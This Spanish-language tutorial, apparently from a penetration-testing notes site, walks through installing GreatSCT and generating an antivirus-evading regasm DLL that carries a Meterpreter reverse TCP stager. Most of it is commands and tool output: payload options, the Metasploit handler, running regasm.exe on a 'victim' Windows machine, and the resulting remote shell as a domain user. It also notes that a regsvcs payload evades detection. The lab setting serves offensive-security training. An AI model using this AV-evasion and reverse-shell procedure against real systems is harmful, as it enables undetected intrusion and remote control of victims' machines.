Evasión con GreatSCT
En este caso vamos a ver una herramienta de GitHub
que se utilizar para generar payloads
para poder evadir los antivirus o las herramientas de seguridad que se denomina GreatSCT
:
URL = GreatSCT GitHub
Esta herramienta se puede generar payloads
que son compatibles con metasploit
, tambien son compatibles con diferentes herramientas de un sistema operativo Windows
que es lo mas interesante.
Para instalarla nos tendremos que clonar el repositorio de la siguiente forma:
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/
cd setup
sudo ./setup.sh -c
Esto puede tardar un rato, a lo largo de la instalacion nos apareceran algunas pestañas, a primera de ellas le daremos a ENTER
(no
) -> TAB
-> ENTER
(Ok
).
Despues nos aparecera una ventanita en la que tendremos que darle a Ok
y continuara la instalacion.
Info:
........................................
[*] Ensuring this account (kali) owns GreatSCT output directory (/usr/share/greatsct-output)...
[*] Ensuring this account (kali) has correct ownership of /home/kali/.greatsct
[I] Done!
Cuando veamos que ha terminado, vamos arrancar la aplicacion de la siguiente forma:
sudo ../GreatSCT.py
Info:
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Main Menu
0 tools loaded
Available Commands:
exit Exit GreatSCT
info Information on a specific tool
list List available tools
update Update GreatSCT
use Use a specific tool
Main menu choice:
Veremos esto, pero vemos que no tenemos cargada ninguna herramienta, por lo que tendremos que generar un fichero de configuracion antes de la siguiente forma:
cd ../config
sudo python3 update.py
Info:
Great Scott configuration:
[*] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[*] WINEPREFIX = /home/kali/.greatsct/
[*] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[*] METASPLOIT_PATH = /usr/share/metasploit-framework
[*] MSFVENOM_PATH = /usr/share/metasploit-framework
[*] GREATSCT_BYPASS_PATH = /home/kali/GreatSCT/
[*] PAYLOAD_SOURCE_PATH = /usr/share/greatsct-output/source/
[*] PAYLOAD_COMPILED_PATH = /usr/share/greatsct-output/compiled/
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /usr/share/greatsct-output/handlers/
[*] HASH_LIST = /usr/share/greatsct-output/hashes.txt
Configuration File Written To '/etc/greatsct/settings.py'
Ahora si nos vamos hacia atras y volvemos a ejecutar la herramienta:
cd ..
sudo ./GreatSCT.py
Info:
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Main Menu
1 tools loaded
Available Commands:
exit Exit GreatSCT
info Information on a specific tool
list List available tools
update Update GreatSCT
use Use a specific tool
Main menu choice:
Vemos que ahora si tendremos cargada una herramienta y si ponemos el comando list
podremos verla:
list
Info:
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Available Tools:
1) Bypass
Main menu choice:
Veremos que es la de Bypass
, para utilizarla pondremos lo siguiente:
use 1
Info:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
GreatSCT-Bypass Menu
26 payloads loaded
Available Commands:
back Go to main GreatSCT menu
checkvt Check virustotal against generated hashes
clean Remove generated artifacts
exit Exit GreatSCT
info Information on a specific payload
list List available payloads
use Use a specific payload
GreatSCT-Bypass command:
Veremos que al utilizar esa herramienta nos carga 26
payloads
, si hacemos un list
podremos ver todos los payloads
que nos ha cargado, todos estos payloads
tienen que ver con diferentes herramientas propias del S.O.
Windows
que despues va a utilizar para ejecutarlos, pueden haber algunos que lo detecte el antivirus y otros que no, pero vamos a ver los que no son detectados por el antivirus
.
Vamos a probar a utilizar el numero 16
que utiliza regasm
para ejecutar una shell reversa
, para saber mas informacion de la herramienta de Windows
regasm.exe
estara en el siguiente link:
URL = regasm.exe Microsoft Info
Vamos a seleccionar el payload
numero 16
:
use 16
Info:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Payload information:
Name: Pure InstallUtil C# Reverse TCP Stager
Language: regasm
Rating: Excellent
Description: pure regasm windows/meterpreter/reverse_tcp stager
Payload: regasm/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
COMPILE_TO_DLL Y Compile to a DLL
DEBUGGER X Optional: Check if debugger is attached
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Heap Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account
Available Commands:
back Go back
exit Completely exit GreatSCT
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
[regasm/meterpreter/rev_tcp>>]
Y como veremos es una interfaz parecida a la de metasploit
en la que podremos configurar el payload
a nuestras necesidades.
set lhost 192.168.5.205
set lport 7777
generate
<ENTER>
Info:
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Language: regasm
[*] Payload Module: regasm/meterpreter/rev_tcp
[*] DLL written to: /usr/share/greatsct-output/compiled/payload.dll
[*] Source code written to: /usr/share/greatsct-output/source/payload.cs
[*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc
Please press enter to continue >:
Aqui nos dice la informacion de como se va a formar ese payload
y que tendremos que configurar, en la parte de DLL written to
nos comenta que esta .dll
la tendremos que mover a Windows
, despues Source code written to
aqui nos dice que tendremos que ejecutar esto para que funcione y por ultimo en esta parte Metasploit RC file written to
nos comenta que tenemos un handler
en metasploit
configurado para ejecutar y estar a la escucha de forma automatica, por lo que haremos lo siguiente en otra terminal.
msfconsole -q -r /usr/share/greatsct-output/handlers/payload.rc
Info:
[*] Processing /usr/share/greatsct-output/handlers/payload.rc for ERB directives.
resource (/usr/share/greatsct-output/handlers/payload.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/usr/share/greatsct-output/handlers/payload.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/usr/share/greatsct-output/handlers/payload.rc)> set LHOST 192.168.5.205
LHOST => 192.168.5.205
resource (/usr/share/greatsct-output/handlers/payload.rc)> set LPORT 7777
LPORT => 7777
resource (/usr/share/greatsct-output/handlers/payload.rc)> set ExitOnSession false
ExitOnSession => false
resource (/usr/share/greatsct-output/handlers/payload.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.5.205:7777
Ahora en otra terminal nos copiaremos el .dll
de la siguiente forma:
cp /usr/share/greatsct-output/compiled/payload.dll ~/Desktop
Ahora tendremos que pasar ese payload.dll
a la maquina Windows
, veremos que cuando nos la pasamos no salta el antivirus
, por lo que ahora tendremos que ejecutar este comando en una consola de PowerShell
en la maquina Windows
victima:
cd Desktop
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
Info:
Utilidad de registro de ensamblados de Microsoft .NET Framework versión 4.8.9037.0
para Microsoft .NET Framework versión 4.8.9037.0
Copyright (C) Microsoft Corporation. Todos los derechos reservados.
Se nos quedara pensando y si nos vamos a donde tenemos la escucha en metasploit
veremos lo siguiente:
[*] Sending stage (177734 bytes) to 192.168.5.209
[*] Meterpreter session 1 opened (192.168.5.205:7777 -> 192.168.5.209:63326) at 2025-02-07 05:22:22 -0500
Vemos que se nos ha creado una conexion reversa
con la maquina Windows
victima.
Para conectarnos haremos lo siguiente:
sessions
Info:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows CORP\empleado2 @ WS02 192.168.5.205:7777 -> 192.168.5.209:63326 (192.168.5.209)
Ahora nos conectamos a la sesion numero 1
:
sessions 1
Info:
[*] Starting interaction with 1...
meterpreter > getuid
Server username: CORP\empleado2
Y ya veremos que podremos ejecutar comandos mediante un meterpreter
.
Tambien podremos utilizar otros payloads
como por ejemplo el de la herramienta regsvcs
la del numero 22
, que tampoco seria detectado por un antivirus
y solo tendremos que seguir el mismo proceso que el anterior.
Last updated